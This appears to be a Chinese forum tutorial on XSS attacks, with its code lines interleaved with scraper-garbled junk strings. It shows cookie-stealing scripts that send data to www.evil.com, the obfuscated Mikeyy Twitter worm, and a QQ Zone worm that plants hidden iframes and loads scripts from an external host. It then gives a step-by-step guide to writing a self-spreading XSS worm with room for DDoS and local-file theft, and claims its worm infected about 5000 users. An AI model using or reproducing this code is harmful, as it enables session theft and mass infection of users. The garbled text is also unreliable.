复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
# b- f+ V( P" N8 W2 Y* ~5 m
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
7 W! A& ^8 A. o; g
8 B8 O" B) Y# _  u* D% G1 XXmlHttp.open("GET","http://www.google.com",false);

) {. d% B, W& G8 S/ L& ~& W6 pXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
. F0 u& m/ h; D, h! d6 ~- M* I' M
+ L$ c& `, L9 H: `5 m+ @! S. FXmlHttp.send(null);
3 w) c! q4 n4 Q) {3 W6 s4 P
</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
6 y& f5 t# ^/ h& |9 {( v
: R8 l- G( y2 [8 m; u' gvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");


. R, x# g5 S7 l" E. c8 m
: n4 Z& H8 }  z7 }XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
+ a/ Q/ ^" {* w& d
9 d4 n  J. S' D6 ^$ NXmlHttp.send(null);

<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)

# Z0 y$ X/ ]- G. u5 M$ q6 天前 08:27

* k: y9 K9 k/ N  t第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
! q" x2 n2 R- E0 c
( K* y4 G$ `+ b- \, s   2.   
% e- n* @- t3 }2 Y4 D* D
  y: K0 x; X: ^   3. function XHConn(){  
7 s3 j% u! P2 L9 f9 {
   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
' h! w2 T" l, F$ b/ ~7 ~* s$ Q# b4 [
: }6 [- |7 h1 t   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

, f) m' Q5 ?3 @  K9 h4 {   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
+ W- }2 l" v# L. i  r1 I- n
   2.   var content = document.documentElement.innerHTML;  
  Y- }0 z6 ^# i4 _% H
# u1 Q  L3 I5 W   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  

$ M& `3 W& r. k, g4 W4 E8 \1 u   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

3 z' E# h+ E( W* F$ w" ^. a   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  

& e8 O  H. U6 \   8.   var randomUpdate= new Array();  

4 E7 D9 G2 s0 W+ {9 J8 Y+ w3 ^) l   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
! Q% d. e& m  ?- g- {
2 t( x0 S2 u- J4 A3 Y8 v  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
% L( k6 a* P) T. Z
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

: {: h4 g4 D( k4 j* H. Q' Q  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
' W5 p0 I% o% ?8 d3 w
6 r! v- Z; G* \" l& }  h- J1 Q  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
6 H. c* s9 q; @2 b9 w
. v  F0 b- m6 l, l  I- I/ z' A  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
- {: D0 ^( r! B( Z  U  M% s
0 T7 `: i% T: j* C  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
# m1 Z1 r7 _0 w  S, A3 N  N
* Q/ Y5 P4 f- t9 q, `% N  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

2 ^1 D% {7 F/ [7 L5 `  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
+ w* t5 G$ r# _4 l( P) P7 Z0 W
  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

& ^! z8 @+ K& [8 b8 s( l' c  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
8 T6 E7 q& k3 y2 p
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
$ F7 J/ k9 C. Y! V
  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
+ X6 r+ [5 ~. ~  j8 w9 x7 L7 r, n
0 I  X$ K5 ^5 @. O1 v  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

$ V' b- Q0 R! W/ o) c8 q  24.     
/ H( M) s4 G" ]" C- B# W
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

. x4 |, N) G9 t  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

# j# h4 C& N5 O* i! H) y) B  27.     

  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

. L4 ]" f$ B& O$ Z& Q- v  30.   var _0xf81bx1c="Mikeyy";  
/ [1 G+ u, h( i) f" d
" K3 \  O$ r, ~; ~4 T5 @( V  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

' p6 f6 ~2 e8 v9 P" M. s4 Q  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
- V) @6 M$ n9 ~+ W1 S4 u
# R, T& I3 d- h  35.   var XSS=urlencode(genXSS);  

# A* h8 q; |  F, \3 @- }  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

+ Q& L- K% _$ e" I  38.     

  39. } ;  
* E9 [1 ^' V+ W2 v
; w( E- r/ U0 R  a. ?- O- X1 \  40. setTimeout(wait(),5250);  
/ Y( p$ A9 c8 W0 ^" V复制代码QQ空间XSSfunction killErrors() {return true;}

/ h/ m! M& g$ A3 t+ q( ]window.onerror=killErrors;

! R- ]9 }; t8 V" ~( X
5 H5 I0 c4 T9 z6 j2 T
5 l" z" V4 s4 s: x0 ]1 E& Pvar shendu;shendu=4;

: K" I' u. q9 @& Y) w//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

/ O( ^* H2 U  h- F% ~6 r5 g4 dvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
$ J) b0 F' a1 `* A: O, r4 r
var myblogurl=new Array();var myblogid=new Array();
( {6 m( `  \  O+ F
        var gurl=document.location.href;

7 d; C, _4 f* j3 \- ^. I( t  q        var gurle=gurl.indexOf("com/");

) e0 |* d7 [9 u        gurl=gurl.substring(0,gurle+3);        

: J# X" g" a+ _& D, v        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");
! f, j1 [( M1 b) e8 L9 c( J
6 E) L, X: u6 a% w( H& O        visitorID=visitorID.substring(cookieS+14);
0 h5 a& G5 }7 c4 I( K2 F4 i, v
' X  W& {. h$ P        cookieS=visitorID.indexOf(",");
0 t2 P8 j; f* F' c2 ?& A3 I
        visitorID=visitorID.substring(0,cookieS);
& w" W7 a& @# n# ~% g
% H; t! ^/ E7 U2 B; D# e7 s8 [        get_my_blog(visitorID);

! @& f/ c$ E+ f0 i, v        DOshuamy();
' l" D2 P0 C9 {& v4 x' e8 H
- J  r. `, j$ y6 f& d8 c; t
( \# C7 F% T8 j  H6 M& I
//挂马

- w) U" \. q1 s0 P' P% H, S+ ?function DOshuamy(){
5 t8 q  X( K$ l, X( U" E2 t
# A* C7 {* R1 A) X7 S8 p9 kvar ssr=document.getElementById("veryTitle");

5 K% G7 }8 R4 I$ S7 Dssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}
$ X8 F' I! f/ y2 f

% g" t; K- ?# e0 Z$ _! B5 F
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
2 q8 ]$ K3 h- E: m: V/ h8 l
3 V: w' ]! ^- g  E4 o3 m" t( bfunction get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
% K; p- p5 l. s; u: a
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
5 l: K* j3 Y$ e" x- o0 d
8 V6 I& \( f' P6 Y8 X; j   if(xhr){    //成功就执行下面的
: i+ A* C2 @8 Q0 ?: u  C6 Y
+ t) u1 H3 n  _; y     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数

- R: M& B/ o& V' n# m1 q    }

}
3 e5 @: [2 O. u+ d
) v% C9 C9 J) ~/ T5 G; D! D  J
) y8 U: J) P" N$ k. `; Q9 M* _
0 E3 K6 e% p  Q/ X% G//这里似乎是判断没有登录的

# S* o! v5 R1 A' d. m; ^function get_my_blogurl(guest){

  var mybloglist=guest;
: v; q2 v1 T' F- R
  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){

, z( P6 i) Y9 H     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
& o' z& i, }( J1 p) V. M" }
3 q' C  H/ ?5 H* N( X0 T     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);
  p7 V- `8 i: j% B0 t
2 d. F. v7 q6 _. `: ^' k         myurls=mybloglist.indexOf(')');
6 a! l8 C) g" r8 N
, d+ _: `: U7 U6 t  S         myblogid=mybloglist.substring(0,myurls);

' w, c: L7 B) H- Z  Q4 N+ C' l        }else{break;}

. x1 s3 O7 ~# B' C  w3 I1 p}

get_my_testself();    //执行这个函数
" G7 D1 X# b8 ~8 j) P- C4 D. y: Y
) U8 I% L, S! q: q}

! c6 S# d  M% }  {3 H! W

% f! Z# I% c( r* X//这里往哪跳就不知道了

) x7 u8 O$ R) X2 p) d+ E; m) S+ S) vfunction get_my_testself(){
( O8 k+ N3 G7 w: Y
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
4 f! ]* i9 L% ^8 }6 j$ V
9 V: v  A4 p( R& j  Q: z% ^      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

1 ~  J: t7 B6 A: w& V3 ]3 s* m      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

& C/ M# K, w# L5 V! O3 _      if(xhr2){        //如果成功
+ X& n. H/ T7 {! W
- i. l" \6 ~8 N) I. T              xhr2.open("GET",url,false);     //打开上面的那个url

7 O, s, ^4 m* C2 D! n* R              xhr2.send();
. H3 ^- M( d, O1 u( Q! s! s
              guest2=xhr2.responseText;
, N$ }, m' s- o: H3 G
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
' T- t+ e6 ^! S6 Z  q9 Y* b( N
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
6 r; w; x' D! m8 r$ R
              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   

7 C! h/ P1 z/ ?! L/ q                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

, q! w) P3 Q  E                break;

/ a  ?; B" |- Z$ v" n               }

' J5 E2 A  _: J6 D: _$ \              if(mycheckit=="-1"){

                targetblogurlid=myblogid;

2 m6 }. v# `4 {4 H( e                add_js(visitorID,targetblogurlid,gurl);    //执行它

; D. F% v! ]0 A, i# {                break;

5 I; H5 I4 t* c0 h$ d- w               }
& F9 I$ g9 d- H. n
        }      

}
0 w3 X2 Z1 a* z" t$ V% F5 w
}
0 |! S" L5 J  q1 b
  Q) Z- R. I2 e: P4 C% C* i+ |
/ h5 `3 O7 x8 h6 m% @0 h
. M) o$ O+ J( [' A2 q0 p//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象
; O( j7 C3 K! w; Q
. |; O/ ?. C  R5 G: j" ifunction createXMLHttpRequest(){
& x5 {, \3 C  H" A
" g; g- Z7 u3 I& d5 f. Y    var XMLhttpObject=null;  

    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
) p( Q! l: v5 A% b
    else  
( ]+ p' q2 h8 r4 ?: h7 K/ o0 q
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  

        {  

8 J1 O3 W1 |& z/ t; [5 b  W; y            try  

# R4 ^6 g8 h; [. ~. s            {  

                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  

            }  

            catch (ex) {  
) R* I9 ^) \$ {7 a6 a2 N
# ?9 D/ a4 C7 m; m% I            }  
  q. J" v+ `6 {  }4 T$ |! F
         }  

# Y4 H( K) |. ?: Q! f      }

$ a9 ~2 C/ L% Z. l. C4 }0 e' k; t/ j2 Hreturn XMLhttpObject;
$ U) O) X, j2 P
}  
& w* s! _- P0 n1 j0 U! `
' P5 {9 @6 b$ l, ~8 L( d; @

& j  n- d- K: R: |+ `! P. L//这里就是感染部分了
. m: @& l3 ^4 Q# O4 y
function add_js(visitorID,targetblogurlid,gurl){
7 l4 B7 F$ o$ K
5 T- [- R( R; a3 ~" evar s2=document.createElement('script');
. X1 G0 R' n# g0 @- J+ n2 n- F& _
1 \7 T8 h3 s8 ]& L% w& ^* es2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

6 @9 @7 G6 Q* ?8 Xs2.type='text/javascript';

/ }$ D5 t; ~& P3 D5 r! bdocument.getElementsByTagName('head').item(0).appendChild(s2);

}
& }: [+ ^' x9 T  {


6 L; Q% q. E, o1 }function add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
/ [7 W% n' o4 S  ?! b
0 [; I5 E& D! l! @8 Ds2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

: b" m, C' S) W, v+ p9 b/ Ps2.type='text/javascript';

4 C+ O6 n9 ^2 j9 o6 q4 R5 k; Gdocument.getElementsByTagName('head').item(0).appendChild(s2);
! ^! @5 z5 v+ x" r
5 Z  g* ^  T9 T}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

! @0 p4 o3 t* |- C2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
. p+ Q! ]8 a* M$ D9 s
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

, W4 w1 _7 R. _; S9 v  i
0 ^$ L. x2 n) C2 b5 r下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

$ h' w# g8 {$ y7 @首先,自然是判断不同浏览器,创建不同的对象var request = false;
) ]7 r, S% g/ Z
6 k8 R1 |8 ], }5 f- H/ g% d; uif(window.XMLHttpRequest) {
0 T4 L' u% p5 L% `: R2 C
request = new XMLHttpRequest();

( ?! i& I  k: a8 Z& }if(request.overrideMimeType) {

6 X& k! @5 v5 q* c; {. l9 E. W- Frequest.overrideMimeType('text/xml');

5 M6 M; M3 `) J. g0 b& v+ W' k+ @}

} else if(window.ActiveXObject) {
5 m6 o7 x+ S9 I" |8 N7 ]& C- Y) h
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

4 g- [) R1 j- o* q$ M  X* nfor(var i=0; i<versions.length; i++) {
4 t& L9 ~/ B- P" B5 G
7 ?( V7 e5 o8 L) y) y2 z9 ?try {
1 J- g! n" X0 U* L/ }9 a, o. o
( I" Z' [" ]( E" prequest = new ActiveXObject(versions);

} catch(e) {}

}
, P; _! ?- k" {6 G0 O
9 G$ w' R! w1 R% f}
& r$ p4 Y# Z$ L8 m' [" \9 [
2 c5 |' Q  R3 A1 H8 _- `8 A4 lxmlHttpReq=request;
* {3 e* I+ z: W" z复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);
' `# o/ a. v0 v2 m6 s% S; Y6 G
        var Browser_Agent=navigator.userAgent;

        
5 k4 H# x4 Z6 o+ E& K& y% l
% U  |: y4 N- Z! w        var Actual_Version,Actual_Name;

4 H. L4 Y% X0 a2 E, C3 O6 T        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
2 j& ]+ [3 |5 @9 G/ F1 C: K* ]
        var is_NN=(Browser_Name=="Netscape");

( q0 d0 m. |* M! ?( h+ x, ?        var is_Ch=(Browser_Name=="Chrome");
- F( \4 k& ^3 v7 y2 v
6 \* Z4 R8 w1 n0 v; i0 M" m        

/ a% }& s: L- ^1 A/ B% Z' [" f        if(is_NN){

7 I2 `0 d+ V7 }: `# D* P            if(Browser_Version>=5.0){
! Y$ o2 N! C$ l
  N# m$ ^  b7 A/ f, ^+ P8 |& ~                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);

2 y, V! ^# n7 H" A2 C4 g* `                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

" [2 a7 O( f' _
- @1 p# T7 C- Y5 F9 p
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
1 J( ^8 X- l( o6 I# B
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

" J$ {! p$ O5 N8 H, ~( I& d            }

' d0 [* g; e- {& d3 r            else{

                Actual_Version=Browser_Version;
$ B4 c4 y% e- f1 v
                Actual_Name=Browser_Name;

            }

) l, l; X3 m  i" `        }

2 {4 {9 N( i0 {, z  m" Q! p8 i% u        else if(is_IE){
$ a/ H; j( o" @: `1 T& {. s
            var Version_Start=Browser_Agent.indexOf("MSIE");

3 R4 v6 E$ |" n0 V* R* h            var Version_End=Browser_Agent.indexOf(";",Version_Start);
% p) V- ~+ r7 e/ F! |
  \: h8 _. }) ^, N6 `            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
$ R9 S' N" R5 I5 `+ P
4 ^# c2 X$ }  {0 @+ \6 y- M: s            Actual_Name=Browser_Name;

* V& z+ @1 Y/ }$ }+ y* K            
$ A/ E4 [+ u7 Q' P) E0 W2 p2 W
% }6 q2 Q  H7 o7 g; h; T            if(Browser_Agent.indexOf("Maxthon")!=-1){

: A7 G# a: @( L7 u- c                Actual_Name+="(Maxthon)";
+ F! M' d7 Z* a; O- y
% O$ _* F1 p# x) A            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
( _3 e" |- H% i
5 X2 B6 ~( o7 T/ I, X                Actual_Name="Opera";
4 I8 C" \3 A3 I" H9 O9 X, a$ }
                var tempstart=Browser_Agent.indexOf("Opera");
+ y+ Y7 b  ~; Y3 [  M
                var tempend=Browser_Agent.length;
/ O2 J/ {2 i# ^7 t- W5 b8 @; `
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
7 m* L1 Z+ [/ b$ L
- X5 y; ]* t. \  S/ s# b  R            }

$ Y7 b. H0 s' |, d        }

        else if(is_Ch){
5 V: o/ X5 W+ r. z9 G
. B; G6 p/ |# B; v/ P8 Y# B            var Version_Start=Browser_Agent.indexOf("Chrome");
& F  E) g7 C' e8 K2 m8 c- e
1 L- f/ H  @5 t! E3 r1 K+ T6 h9 N            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
3 A7 F# o8 u1 A8 F
            Actual_Name=Browser_Name;

+ B* r9 @; Z/ Y& }            
. S2 c1 z% g* R, i0 T# X. H6 x
            if(Browser_Agent.indexOf("Maxthon")!=-1){
2 `# `/ c: r5 }# K9 h2 }5 |/ R! V
4 \  j! y, I. \6 b4 w                Actual_Name+="(Maxthon)";
0 ], Z/ m2 h8 e- D* M! |
            }
& M, R6 |+ ?5 v
            else if(Browser_Agent.indexOf("Opera")!=-1){
* N) {  d4 m0 |  `% }5 Y
                Actual_Name="Opera";

. @3 F7 s2 |& o. Q3 G* i! d                var tempstart=Browser_Agent.indexOf("Opera");

* F8 c+ ]. ^8 M2 ?$ u+ w# l                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

- \  b, x* a( k3 A4 w+ w        }

, D4 Y, Y# E, m* e/ M        else{
5 m, a  l: ]6 D: k
            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"
. ]7 x. m, n: k8 I0 e; @1 u
1 T* ~* _& A$ Y        }
' n# ^% W( \6 c! o- _


/ q! P8 X8 A4 `3 R# @: J" n        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;

        

# g" g, n1 b6 M* k# @        this.Name=Actual_Name;
- a- n# Z4 F/ y/ j% a* S9 K, H. T
        this.Version=Actual_Version;
0 }4 Y  h: n1 J
3 }/ j' G" p4 Q2 l8 A+ D. v$ Q    }

+ p- ~1 R6 w- f" a- z7 O    browserinfo();

  g& R4 Y8 x( o6 Z4 ~    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
$ t2 \4 u  k2 b8 K; C. V8 q$ `/ \
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

7 j. m" \1 ~! w$ ~    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
2 y! l+ Q* `9 [/ P' M7 I复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
7 c$ L4 ~& O/ D8 \( B- m& ~; f复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
! P+ x4 q( r1 _
/ Z3 U( S' S$ a6 yxmlHttpReq.send(null);
) Z! t& J$ w0 |% r
var resource = xmlHttpReq.responseText;

var id=0;var result;

' g1 P4 T, L/ Svar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
8 a& B! g- ]% X, @. a
  T  V1 W! Q& C! uwhile ((result = patt.exec(resource)) != null)  {
/ m) }8 @* G7 P9 m! E# ^
' w8 {# Q! {( R% Z2 did++;

}
) Q" `  e' \: A* T复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

9 w, e- S3 Y: H- nno=resource.search(/my name is/);
- y" C9 G; L7 h+ v/ m$ w& `
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

8 q' q2 ]0 K/ \! mvar post="wd="+wd;
- I. h: X1 o6 K* \, G" Z$ s7 H
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

; h. u' ?1 X& q: m6 l8 JxmlHttpReq.setRequestHeader("content-length",post.length);
( ?0 \  j( f- [
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);

! I" C  ?- [6 ~7 Z/ f, D# U}
0 q1 o2 b, @+ `5 P8 b复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
, y" L* m0 F, i  u3 L+ K& C8 X  Q$ p
9 H3 s' y9 U6 [7 Gvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
) {; ^5 J0 d# K) ~: A
var post="wd="+wd;
) x# Y/ u- {! U4 P9 A4 y
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
& y$ w* b5 l9 w& J5 s
xmlHttpReq.setRequestHeader("content-length",post.length);
0 ^) Z$ {6 U8 A6 R. m& \" e2 N
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
' _1 R0 I" S8 k9 d/ }
xmlHttpReq.send(post);                 //把传播的信息 POST出去.

/ h) z' |9 x1 @/ R- i) H* L/ M0 m}
& N4 ^  `) u& r复制代码-----------------------------------------------------总结-------------------------------------------------------------------
7 K* E9 ^2 C5 z5 a) p7 Q

/ X. q2 S# J  k& T0 _' B! }1 a
; x7 a  `7 c* @* _) I5 I# V8 L' ^8 u, i本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
7 O' C! G3 a. A5 _6 f# C7 S. Y$ I


$ A0 J4 i  o3 d/ ?
8 }9 j' r' |/ _, E



: x/ |# m3 j) N) X本文引用文档资料:

